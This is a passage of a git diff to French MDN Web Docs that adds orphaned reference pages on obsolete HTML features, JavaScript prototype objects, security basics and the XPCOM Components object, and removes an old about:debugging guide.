{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '<command>')}}{{Spec2('HTML5 W3C')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.command")}}

diff --git a/files/fr/orphaned/web/html/element/element/index.html b/files/fr/orphaned/web/html/element/element/index.html new file mode 100644 index 0000000000..7b2a731677 --- /dev/null +++ b/files/fr/orphaned/web/html/element/element/index.html @@ -0,0 +1,73 @@ +--- +title: ' : l''élément pour les éléments personnalisés (obsolète)' +slug: Web/HTML/Element/element +tags: + - Element + - HTML + - Obsolete + - Reference + - Web +translation_of: Web/HTML/Element/element +--- +
{{HTMLRef}}{{obsolete_header}}
+ +

L'élément HTML <element> était conçu pour être utilisé afin de définir des éléments DOM personnalisés, il a été retiré de la spécification. Il a été retiré en faveur d'outils JavaScript qui permettront de créer de nouveaux éléments personnalisés, par exemple avec les Web Components.

+ +
+

Attention ! Cet élément a été retiré de la spécification. Pour plus d'informations, se référer à cette note.

+
+ +

Attributs

+ +

On peut employer les attributs universels sur cet élément.

+ +

Résumé technique

+ + + + + + + + + + + + + + + + + + + + + + + + +
Catégories de contenuContenu transparent.
Contenu autoriséIndéfini.
Omission de balises{{no_tag_omission}}
Éléments parents autorisésIndéfini.
Interface DOM{{domxref("HTMLElement")}}
+ +

Spécifications

+ +

Cet élément faisait actuellement partie d'un brouillon de spécification, Custom Elements mais a été retiré.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.element")}}

+ +

Voir aussi

+ +
    +
  • Les éléments HTML liés aux composants web (web components) : + +
      +
    • {{HTMLElement("content")}}
      • +
    • {{HTMLElement("decorator")}}
      • +
    • {{HTMLElement("shadow")}}
      • +
    • {{HTMLElement("template")}}
      • +
    +
    • +
diff --git a/files/fr/orphaned/web/html/global_attributes/dropzone/index.html b/files/fr/orphaned/web/html/global_attributes/dropzone/index.html new file mode 100644 index 0000000000..e645e30973 --- /dev/null +++ b/files/fr/orphaned/web/html/global_attributes/dropzone/index.html @@ -0,0 +1,48 @@ +--- +title: dropzone +slug: Web/HTML/Attributs_universels/dropzone +tags: + - Attribut universel + - HTML + - Obsolete + - Reference +translation_of: Web/HTML/Global_attributes/dropzone +--- +
{{HTMLSidebar("Global_attributes")}} {{deprecated_header}}
+ +

L'attribut universel dropzone est un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément, il est utilisé avec l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont :

+ +
    +
  • copy qui indique que déposer un élément glissé créera une copie de celui-ci
    • +
  • move qui indique qu'un élément qui a été glissé sera déplacé vers son nouvel emplacement
    • +
  • link qui crée un lien vers les données déplacées
    • +
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.dropzone")}}

+ +

Voir aussi

+ + diff --git a/files/fr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html b/files/fr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html new file mode 100644 index 0000000000..cb423c22f3 --- /dev/null +++ b/files/fr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html @@ -0,0 +1,181 @@ +--- +title: Array.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Array/prototype +tags: + - Array + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype +--- +
{{JSRef}}
+ +

La propriété Array.prototype représente le prototype du constructeur {{jsxref("Array")}} et permet d'ajouter de nouvelles propriétés à l'ensemble des objets Array.

+ +

Description

+ +

Les instances d'Array héritent de Array.prototype. Comme pour tous les constructeurs, vous pouvez changer l'objet prototype du constructeur afin de modifier toutes les instances d'Array. On peut utiliser cette méthode afin de réaliser des prothèses/polyfills.

+ +

Toutefois, si on utilise le prototype pour ajouter des méthodes ou propriétés non-standards à Array, cela peut entraîner certains problèmes au sein de votre code ou lors de l'ajout de fonctionnalités à JavaScript.

+ +

Fait peu connu : Array.prototype est lui-même un objet {{jsxref("Array")}} :

+ +
Array.isArray(Array.prototype); // true
+ +

{{js_property_attributes(0,0,0)}}

+ +

Propriétés

+ +
+
Array.prototype.constructor
+
Cette propriété définit la fonction qui crée le prototype d'un objet.
+
{{jsxref("Array.prototype.length")}}
+
Cette propriété renvoie le nombre d'éléments d'un tableau.
+
{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}
+
Un symbole contenant les noms des propriétés à exclure lors d'une liaison effectuée avec with.
+
+ +

Méthodes

+ +

Mutateurs

+ +

Ces méthodes modifient le tableau :

+ +
+
{{jsxref("Array.prototype.copyWithin()")}}
+
Cette méthode copie une série d'éléments de tableau dans le tableau.
+
{{jsxref("Array.prototype.fill()")}}
+
Cette méthode remplie tous les éléments d'un tableau avec une même valeur, éventuellement entre un indice de début et un indice de fin.
+
+ +
+
{{jsxref("Array.prototype.pop()")}}
+
Cette méthode supprime le dernier élément d'un tableau et retourne cet élément.
+
{{jsxref("Array.prototype.push()")}}
+
Cette méthode ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle longueur du tableau.
+
{{jsxref("Array.prototype.reverse()")}}
+
Cette méthode renverse l'ordre des éléments d'un tableau - le premier élément devient le dernier, et le dernier devient le premier. Le tableau est modifié par cette méthode.
+
{{jsxref("Array.prototype.shift()")}}
+
Cette méthode supprime le premier élément d'un tableau et retourne cet élément.
+
{{jsxref("Array.prototype.sort()")}}
+
Cette méthode trie en place les éléments d'un tableau et retourne le tableau.
+
{{jsxref("Array.prototype.splice()")}}
+
Cette méthode permet d'ajouter ou de retirer des éléments d'un tableau.
+
{{jsxref("Array.prototype.unshift()")}}
+
Cette méthode permet d'ajouter un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.
+
+ +

Accesseurs

+ +

Ces méthodes ne modifient pas l'état du tableau et en retournent une représentation.

+ +
+
{{jsxref("Array.prototype.concat()")}}
+
Cette méthode renvoie un nouveau tableau constitué de ce tableau concaténé avec un ou plusieurs autre(s) tableau(x) et/ou valeur(s).
+
{{jsxref("Array.prototype.includes()")}}
+
Cette méthode détermine si le tableau contient ou non un certain élément. Elle renvoie true ou false selon le cas de figure.
+
{{jsxref("Array.prototype.indexOf()")}}
+
Cette méthode retourne le premier (plus petit) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.
+
{{jsxref("Array.prototype.join()")}}
+
Cette méthode concatène tous les éléments d'un tableau en une chaîne de caractères.
+
{{jsxref("Array.prototype.lastIndexOf()")}}
+
Cette méthode retourne le dernier (plus grand) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.
+
{{jsxref("Array.prototype.slice()")}}
+
Cette méthode extrait une portion d'un tableau pour retourner un nouveau tableau constitué de ces éléments.
+
{{jsxref("Array.prototype.toSource()")}} {{Non-standard_inline()}}
+
Cette méthode renvoie la représentation littérale du tableau spécifié ; vous pouvez utiliser cette valeur pour créer un nouveau tableau. Elle redéfinit la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Array.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères représentant le tableau et ses éléments. Elle redéfinit la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Array.prototype.toLocaleString()")}}
+
Cette méthode retourne une chaîne de caractères représentant le tableau et ses éléments en tenant compte de la locale. Elle redéfinit la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
+
+ +

Méthodes itératives

+ +

Plusieurs méthodes utilisent des fonctions comme argument. Ces fonctions sont utilisées afin de traiter, d'une façon ou d'une autre, chaque élément du tableau. Lorsque ces méthodes sont invoquées, on évalue la longueur du tableau et on traite chacun des éléments dont l'indice est inférieur à la longueur (les éléments ajoutés en cours de route ne seront pas traités). Les autres modifications apportées au tableau (affecter une valeur ou supprimer un élément) peuvent avoir un impact sur les traitements des éléments suivants. Bien que ce comportement soit bien défini pour les différentes méthodes, afin de ne pas complexifier le code outre-mesure, lorsqu'on modifiera un tableau, on en créera une copie avant d'invoquer une telle méthode.

+ +
+
{{jsxref("Array.prototype.entries()")}}
+
Cette méthode renvoie un nouvel objet Array Iterator qui contient les paires clef/valeur pour chaque index du tableau.
+
{{jsxref("Array.prototype.every()")}}
+
Cette méthode renvoie true si chaque élément du tableau satisfait la fonction de test passée en paramètre.
+
{{jsxref("Array.prototype.filter()")}}
+
Cette méthode crée un nouveau tableau contenant tous les éléments du tableau pour lesquels la fonction de filtrage passée en argument retourne true.
+
{{jsxref("Array.prototype.find()")}}
+
Cette méthode renvoie la valeur d'un élément trouvé dans le tableau et qui satisfait la fonction de test passée en paramètre, undefined sinon.
+
{{jsxref("Array.prototype.findIndex()")}}
+
Cette méthode renvoie l'index d'un élément trouvé dans le tableau qui satisfait la fonction de test passée en paramètre ou -1 si aucun ne la satisfait.
+
{{jsxref("Array.prototype.forEach()")}}
+
Cette méthode appelle une fonction sur chacun des éléments du tableau.
+
{{jsxref("Array.prototype.keys()")}}
+
Cette méthode retourne un nouvel Array Iterator qui contient les indices pour chaque élément dans le tableau.
+
{{jsxref("Array.prototype.map()")}}
+
Cette méthode crée un nouveau tableau contenant les images de chaque élément du tableau de départ par la fonction passée en paramètre.
+
{{jsxref("Array.prototype.reduce()")}}
+
Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de gauche à droite) de façon à obtenir une unique valeur à la fin.
+
{{jsxref("Array.prototype.reduceRight()")}}
+
Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de droite à gauche) de façon à obtenir une unique valeur à la fin.
+
{{jsxref("Array.prototype.some()")}}
+
Cette méthode renvoie true si au moins un élément du le tableau satisfait la fonction de test passée en paramètre.
+
{{jsxref("Array.prototype.values()")}}
+
Cette méthode renvoie un nouvel objet Array Iterator qui contient les valeurs de chaque indice du tableau.
+
{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}
+
Cette méthode renvoie un nouvel objet Array Iterator qui contient les valeurs de chaque indice du tableau.
+
+ +

Méthodes génériques (non-standard)

+ +

De nombreuses méthodes des objets JavaScript de type Array sont conçues pour être appliquées de façon générale à tous les objets qui « ressemblent » à des tableaux. C'est à dire qu'elles peuvent être appliquées à n'importe quel objet qui possède une propriété length, et qui contint des propriétés indexées numériquement (comme lorsque l'on écrit array[5]). Certaines méthodes, comme {{jsxref("Array.join", "join")}}, se contentent de lire la propriété length et d'accéder à ces propriétés numériques de l'objet sur lesquelles on les appelle. D'autres, comme {{jsxref("Array.reverse", "reverse")}}, ont besoin de modifier les propriétés numériques et la longueur d'un objet ; ces méthodes ne peuvent dès lors pas être appelées sur des objets tels que des {{jsxref("String", "String")}}, qui ne permettent pas la modification de leur propriété length ni de leurs propriétés numériques.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES6')}}Ajout des méthodes copyWithin(), fill(), entries(), keys(), values(), find(), findIndex().
{{SpecName('ES7', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES7')}}Ajout de la méthode includes().
{{SpecName('ESDraft', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array", "Array")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/fr/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html new file mode 100644 index 0000000000..7343f73357 --- /dev/null +++ b/files/fr/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html @@ -0,0 +1,61 @@ +--- +title: AsyncFunction.prototype +slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype +tags: + - Experimental + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +--- +
{{JSRef}}
+ +

La propriété AsyncFunction.prototype représente le prototype de l'objet {{jsxref("AsyncFunction")}}.

+ +

Description

+ +

Les objets {{jsxref("AsyncFunction")}} héritent de AsyncFunction.prototype. AsyncFunction.prototype ne peut pas être modifiée.

+ +

Propriétés

+ +
+
AsyncFunction.constructor
+
La valeur initiale est {{jsxref("AsyncFunction")}}.
+
AsyncFunction.prototype[@@toStringTag]
+
Renvoie "AsyncFunction".
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}Définition initiale dans ES2017.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("AsyncFunction")}}
    • +
  • {{jsxref("Function")}}
    • +
diff --git a/files/fr/orphaned/web/javascript/reference/global_objects/bigint/prototype/index.html b/files/fr/orphaned/web/javascript/reference/global_objects/bigint/prototype/index.html new file mode 100644 index 0000000000..e746754e5e --- /dev/null +++ b/files/fr/orphaned/web/javascript/reference/global_objects/bigint/prototype/index.html @@ -0,0 +1,63 @@ +--- +title: BigInt.prototype +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/prototype +tags: + - BigInt + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/prototype +--- +
{{JSRef}}
+ +

La propriété BigInt.prototype représente le prototype du constructeur {{jsxref("BigInt")}}.

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

Description

+ +

L'ensemble des instances de {{jsxref("BigInt")}} héritent de BigInt.prototype. Le prototype du constructeur {{jsxref("BigInt")}} peut être modifié afin de modifier l'ensemble des instances de {{jsxref( "BigInt")}}.

+ +

Propriétés

+ +
+
BigInt.prototype.constructor
+
Cette propriété renvoie la fonction qui a crée cette instance. Par défaut, c'est l'objet {{jsxref("BigInt")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("BigInt.prototype.toLocaleString()")}}
+
Cette méthode renvoie une chaîne de caractères représentant le nombre et adaptée à la locale choisie. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
+
{{jsxref("BigInt.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères représentant l'objet selon la base indiquée. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("BigInt.prototype.valueOf()")}}
+
Cette méthode renvoie la valeur primitive de l'objet indiqué. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationEtatCommentaires
BigInt.prototypeBrouillon de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.prototype")}}

diff --git a/files/fr/orphaned/web/security/information_security_basics/index.html b/files/fr/orphaned/web/security/information_security_basics/index.html new file mode 100644 index 0000000000..b12ebc595d --- /dev/null +++ b/files/fr/orphaned/web/security/information_security_basics/index.html @@ -0,0 +1,60 @@ +--- +title: Les bases de la sécurité informatique +slug: Apprendre/Tutoriels/Les_bases_de_la_sécurité_informatique +tags: + - Beginner + - Landing + - Learn + - Security +translation_of: Web/Security/Information_Security_Basics +--- +

{{draft}}

+ +

Comprendre les bases de la sécurité informatique vous permettra de réaliser l'importance et le rôle de la sécurité au cours du développement d'un projet. Cela vous aidera à éviter d'utiliser des logiciels superflus qui seraient dangereux et qui permettraient à des attaquants d'exploiter des faiblesses à des fins malhonnêtes. Protégez-vous et vos utilisateurs en mettant en pratique les concepts de bases liés à la sécurité.

+ +

Les concepts de base

+ +

Ces articles sont en cours de rédactions. Ils sont destinés à tous les lecteurs, quel que soit leur niveau de compétence sur le sujet. Ces articles ont un ordre logique et les concepts vus dépendent les uns des autres.

+ +
+
1. Confidentialité, integrité et disponibilité
+
Cet article décrit les objectifs principaux, fondamentaux, en termes de sécurité.
+
2. Les vulnérabilités
+
Cet article définit les grandes catégories de vulnérabilités et évoque la présence de vulnérabilités dans tous les logiciels.
+
3. Les menaces
+
Cet article est une introduction aux principaux concepts de menaces.
+
4. Les contrôles de sécurité
+
Cet article définit les grandes catégories de contrôles et aborde leurs avantages et inconvénients respectifs.
+
5. Les risques
+
Cet articles est une introduction aux concepts de base sur les risques informatiques.
+
6. Chiffrement et déchiffrement
+
Cet article couvre les aspects fondamentaux sur le chiffrement et le déchiffrement.
+
7. Les signatures numériques
+
Cet article est une introduction aux différentes méthodes de signature numérique.
+
8. Sécurité TCP/IP
+
Cet article est un aperçu du modèle TCP/IP et des aspects de sécurités liés à SSL/TLS.
+
+ +

Appliquer les concepts de base

+ +

Avant de lire les articles de cette section, mieux vaut avoir lu les articles sur les concepts de base ou avoir un niveau de connaissance équivalent.

+ +
+
Introduction à SSL
+
Cet article est en cours de ré-écriture.
+
SSL et TLS
+
Cet article fournit une courte introduction à SSL et TLS ainsi qu'aux algorithmes utilisés pour échanger des clés de session. Il aborde également RSA et ECC.
+
Introduction à la cryptographie asymétrique
+
Cet article est en cours de refonte.
+
+ +

Plus d'informations

+ +

D'autres articles de MDN, plus avancés, concernent la sécurité informatique :

+ + diff --git a/files/fr/orphaned/xpcom/liaisons_de_langage/objet_components/index.html b/files/fr/orphaned/xpcom/liaisons_de_langage/objet_components/index.html new file mode 100644 index 0000000000..6389b3393d --- /dev/null +++ b/files/fr/orphaned/xpcom/liaisons_de_langage/objet_components/index.html @@ -0,0 +1,181 @@ +--- +title: Objet Components +slug: XPCOM/Liaisons_de_langage/Objet_Components +--- +

L'objet Components est l'objet au travers duquel les fonctionnalités XPConnect sont reflétées en JavaScript. Il s'agit en réalité d'une instance native de l'interface nsIXPCComponents qui est reflétée en JavaScript comme un objet de niveau global à l'aide d'XPConnect.

+ +

Certaines propriétés de Components ont besoin de privilèges élevés et peuvent ne pas fonctionner dans des pages Web.

+ +

L'objet Components dispose des membres suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MembreDescription
classestableau de classes par ContractID
classesByIDtableau de classes par CID
Constructorconstructeur de constructeur de composants
Exceptionconstructeur d'exception XPConnect
IDconstructeur de nsID XPCOM
interfacestableau d'interfaces par nom d'interface
interfacesByIDtableau d'interfaces par IID
isSuccessCodefonction pour déterminer si un résultat donné est un code de réussite
lastResultcode de résultat de l'appel XPConnect le plus récent
managerle gestionnaire global de composants XPCOM
resultstableau des codes de résultats connus par nom
returnCoderésultat en attente pour l'appel courant
stackpile d'appels JavaScript courante
utilsdonne accès à différentes fonctionnalités utiles
utils.evalInSandboxLance du code JavaScript dans une sandbox, généralement pour lancer du code à privilèges restreints.
utils.forceGC Force un cycle de garbage collection.
utils.getWeakReference Obtient une référence faible à l'objet passé.
utils.import Charge un module JS dans le script courant, sans partager de visibilité.
utils.lookupMethodExamine une méthode ou propriété native (c'est-à-dire déclaré dans l'interface) d'un objet XPCOM. Sert à la même chose que XPCNativeWrapper.
utils.reportErrorRapporte un objet d'erreur JavaScript dans la Console d'erreurs.
utils.Sandbox +

Crée des objets de sandbox pout utiliser avec evalInSandbox.

+
+ +

 

+ +
+
 
+
utils
+
provides access to several useful features
+
+
+
utils.atline
+
Provides access to the value of the atline property in the JavaScript environment.
+
utils.createObjectIn
+
Creates a new object in the scope of the specified object's compartment. May only be called from JavaScript code.
+
utils.evalInSandbox
+
Runs JavaScript code in a sandbox, usually used to run code with restricted privileges.
+
utils.forceGC
+
Forces a garbage collection cycle.
+
utils.getGlobalForObject
+
Returns the global object with which a given object is associated (through its prototype chain at birth, for example).
+
utils.getWeakReference
+
Gets a weak reference for the object passed in.
+
utils.import
+
Loads a JavaScript module into the current script, without sharing a scope.
+
utils.lookupMethod
+
Looks up a native (i.e. declared in the interface) method or property of an XPCOM object. Serves the same purpose as XPCNativeWrapper.
+
utils.makeObjectPropsNormal
+
Ensures that all functions come from the specified object's scope, and aren't cross-compartment wrappers. May only be called from JavaScript code.
+
+ +
+
utils.methodjit Obsolète depuis Gecko 24.0
+
Provides access to the value of the methodjit property in the JavaScript environment.
+
+ +
+
utils.methodjit_always Obsolète depuis Gecko 24.0
+
Provides access to the value of the methodjit_always property in the JavaScript environment.
+
+ +
+
utils.relimit
+
Provides access to the value of the relimit property in the JavaScript environment.
+
+ +
+
utils.reportError
+
Reports a JavaScript Error object to the Error Console.
+
utils.schedulePreciseGC
+
Requests that garbage collection occur sometime in the future when no JavaScript code is running; accepts a callback function to receive notification once collection is complete.
+
utils.setGCZeal()
+
Sets the GC zeal level for the context.
+
+ +
+
utils.strict
+
Provides access to the value of the strict property in the JavaScript environment.
+
+ +
+
utils.werror
+
Provides access to the value of the werror property in the JavaScript environment.
+
+ +
+
utils.Sandbox
+
Creates sandbox objects for use with evalInSandbox.
+
utils.xml
+
Provides access to the value of the xml property in the JavaScript environment.
+
+
+
+ +

 

+ +

 

+ +

Components object (en)

diff --git a/files/fr/orphaned/xpcom/reference/standard_xpcom_components/index.html b/files/fr/orphaned/xpcom/reference/standard_xpcom_components/index.html new file mode 100644 index 0000000000..530482fc72 --- /dev/null +++ b/files/fr/orphaned/xpcom/reference/standard_xpcom_components/index.html @@ -0,0 +1,7 @@ +--- +title: Standard XPCOM components +slug: XPCOM/Reference/Standard_XPCOM_components +--- +

Il ya un certain nombre de composants fournis dans la mise en œuvre de la norme XPCOM; ceux-ci sont comme suit.

+ +

There are no subpages at this time.

diff --git a/files/fr/outils/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html b/files/fr/outils/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html deleted file mode 100644 index 0aef8b6d19..0000000000 --- a/files/fr/outils/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: 'about:debugging (before Firefox 68)' -slug: 'Outils/about:debugging/about:debugging_before_Firefox_68' -translation_of: 'Tools/about:debugging/about:debugging_before_Firefox_68' ---- -
{{ToolsSidebar}}
- -

La page about:debugging vous fournit une place ou vous pouvez attacher les outils de développeurs de Firefox a un nombre de debugging targets. En ce moment, il soutien trois sortes principales de target: restartless add-ons, tabs, et workers.

- -

Ouvrir la page about:debugging

- -

Ils y a plusieurs façons d’ouvrir la page about:debugging:

- -
    -
  • Cliquez "about:debugging" dans la barre URL de Firefox.
    • -
  • Dans Tools > Web Developer menu, cliquez sur "Service Workers".
    • -
  • Sélectionnez Web Developer menu sous menu Hamburger (), puis sélectionnez "Service Workers".
    • -
- -

Quand about:debugging ouvre, a votre gauche, vous allez voir une barre latérale permettant de basculer entre les deux vues principales: une pour add-ons et une pour workers.

- -

Que system add-ons apparaisse ou non dans la liste sur cette page dépends sur les configurations de préférences de devtools.aboutdebugging.showSystemAddons. Si vous devez voir system add-ons, naviguez ver about:config et assurez-vous que la valeur est réglée sur true.

- -

Add-ons

- -
-

La section Add-ons dans about:debugging soutien seulement les restartless add-ons, en incluent basic bootstrapped extensions, Add-on SDK add-ons, et WebExtensions.

-
- -

Cette page vous permet de faire deux choses :

- -
    -
  • Charger un add-on temporairement d’un disque
    • -
  • Connectez l’Add-on Debugger a tout restartless add-ons
    • -
- -

- -

Connecter l’Add-on Debugger

- -
-

NNotez qu’en ce moment, il est recommandé d’utiliser le Browser Toolbox, pas l’Add-on Debugger, pour le débogage de WebExtensions. Regardez Debugging WebExtensions pour plus de détails.

-
- -

La page Add-ons dans about:debugging vous donnes une liste de tous les restartless add-ons qui sont actuellement installés (notez que cette liste pourrait avoir des add-ons inclus qui sont venus préinstaller avec votre Firefox). À côté de chaque entrée est un bouton appeler "Debug".

- -

Si le bouton "Debug" est désactivé, cocher la boite "Enable add-on debugging".

- -

Si vous cliquez "Debug", vous allez voir un dialogue vous demandant d’accepter une connexion entrante. Cliquez "OK", et Add-on Debugger va commencer dans une fenêtre séparée. Notez que parfois la fenêtre débogueur est cacher par la fenêtre principale de Firefox.

- -

{{EmbedYouTube("tGGcA3bT3VA")}}

- -

Allez voir la page sure Add-on Debugger pour toutes les chose vous pouvez faires avec cet outil.

- -
-

Le bouton "Enable add-on debugging" fonctionne en allumant les preferences devtools.chrome.enabled et devtools.debugger.remote-enabled. Les deux préférences doivent être true pour activer add-on debugging. Cocher la boite définit les deux préférences sur true, et décocher les définit sur false.

- -

Vous pouvez aussi modifier les préférences directement dans about:config, ou par cocher "Enable browser chrome and add-on debugging toolboxes" et "Enable remote debugging" dans Developer Tools Settings.

-
- -

Charger un add-on temporaire

- -

Avec le bouton "Load Temporary Add-on" n’importe quelle sorte de restartless add-on temporairement, à partir d’un répertoire sur disque. Il suffit de cliquer le bouton, naviguer ver le répertoire contenant le fichier add-on's, et sélectionner n’importe quel fichier dans ce répertoire. L’add-on temporaire sera afficher sous l’en-tête "Temporary Extensions".

- -

Vous n’avez pas à emballer ou à signer l’add-on. L’add-on restera installer jusqu’au redémarrage de Firefox.

- -

{{EmbedYouTube("sAM78GU4P34")}}

- -

Les gros avantages de cette méthode, comparer à installer un add-on d’un XPI, sons:

- -
    -
  • Vous n’avez pas à reconstruire un XPI et le réinstaller quand vous changez le code d’add-on's
    • -
  • Vous pouvez charger un add-on sans le signer et sans le besoin de désactiver signing.
    • -
- -

Modifier un add-on temporaire

- -

Si vous installez l’add-on de cette façon, que-ce passe t’il quand vous modifiez les fichiers add-on’s ?

- -

Avant Firefox 48

- -
    -
  • Si vous modifiez des fichiers charger à la demande, comme content scripts ou popups, les modifications que vous faites sont détectés et ramassés automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.
    • -
  • Si vous modifiez des fichiers qui restent chargés tout le temps, comme background vous pouvez trouver les changements vous avez faites par désactiver et réactiver l’add-on dans la page about:addons.
    • -
  • Si vous modifiez des fichiers qui sont analyses qu’à l’installation, comme le fichier  manifest.json, vous allez devoir recommencer Firefox, et puis charger l’add-on encore.
    • -
- -
-

Notez qu’avant Firefox 48, charger l’add-on encore par appuyant "Load Temporary Add-on" sans recommencer Firefox ne fonctionne pas.

-
- -

A partir de Firefox 48

- -
    -
- -

De Firefox 48 et plus tard:

- -
    -
  • Comme avant: Si vous modifiez des fichiers charger à la demande, content scripts ou popups, les modifications sont détectées et ramassées automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.
    • -
  • Il y a une meilleure façon de gérer les autres cas: cliquez le bouton "Reload" à côté du bouton "Debug". Cela fait ce qu’il dit: - -
    • -
- -
-

Notez que dans Firefox 49 et plus tard, le bouton Reload est seulement activer pour les add-ons temporaire. Il va être désactiver pour tout autre add-ons.

-
- -

Tabs

- -

Dans Firefox 49 et plus tard, une page Tabs est disponible dans about:debugging — cela vous donne une liste complète de tous les onglets débogables ouverts dans l’instance courent Firefox.

- -

- -

Chaque entrée tab à un bouton Debug à-côté — quand cliquer, ceci va ouvrir un toolbox spécifique à l’onglet, vous permettant de déboguer les contenus de cet onglet.

- -

- -
-

Notez que cette fonctionnalité n’est pas immédiatement utile pour le débogage des onglets desktop— vous pouvez ouvrir le toolbox pour déboguer un onglet déjà assez facilement— mais cela va devenir beaucoup plus utile quand about:debugging commence le support pour remote debugging, et cette page peut commencer à lister les onglets disponibles pour le débogage sur navigateurs mobiles, des simulateurs, etc. allez voir {{bug(1212802)}} pour les nouvelles sur ce domaine.

-
- -

Workers

- -

La page Workers vous montre vos workers, categoriser come suit:

- - - -

Vous pouvez connectez les outils de développeurs à chaque worker, et envoyer des notifications push au service workers.

- -

- -

État de service worker

- -

A partir de Firefox 52, la liste de service workers vous montre l’état du service worker dans son lifecycle. Trois états sont distingués:

- -
    -
  • "Registering": ceci couvre tous les états entre l’enregistrement initiale du service worker, et son contrôle des pages. C’est-à-dire, qu’il englobe les états "installing", "activating", et "waiting".
    • -
  • "Running": le service worker est actuellement en-marche. Il est installé et activer, et gère des évènements en ce moment.
    • -
  • "Stopped": le service worker est installer et activer, mais a été terminer apprêt avoir été inactif.
    • -
- -

- -
-

Cette section utilise une démo simple de ServiceWorker, hébergé a  https://serviceworke.rs/push-simple/.

-
- -

Débogage de workers

- -

Pour un service worker, s’il est déjà en-marche, vous allez voir deux boutons à-côté, étiquetés "Debug" et "Push". S’il n’est pas déjà en-marche, vous verrez un bouton, étiqueté "Start": cliquez dessus pour commencer le service worker.

- -

Cliquer "Debug" connecte le Débogueur JavaScript et Console a ce worker. Vous pouvez définir des points d’arrêt, step through code, watch variables, evaluate code, etc:

- -

{{EmbedYouTube("Z8ax79sHWDU")}}

- -

Enregistrement des workers

- -

Premièrement, vous n’allez voir aucun worker lister sous Service Workers ou Shared Workers. Aussitôt qu’un worker est enregistrer, la liste est mis-a-jour:

- -

{{EmbedYouTube("wy4kyWFhFF4")}}

- -
-

Avant Firefox 47, les service workers se montrais seulement quand ils étaient actuellement en marche.

-
- -

Désinscrire les service workers

- -
-

Nouveaux dans Firefox 48.

-
- -

A partir de Firefox 48, vous allez voir un lien appeler "unregister" à-côté de chaque service worker enregistrees:

- -

- -

Cliquez le lien pour désinscrire le service worker.

- -

Envoyer des évènements-push a des service workers

- -
-

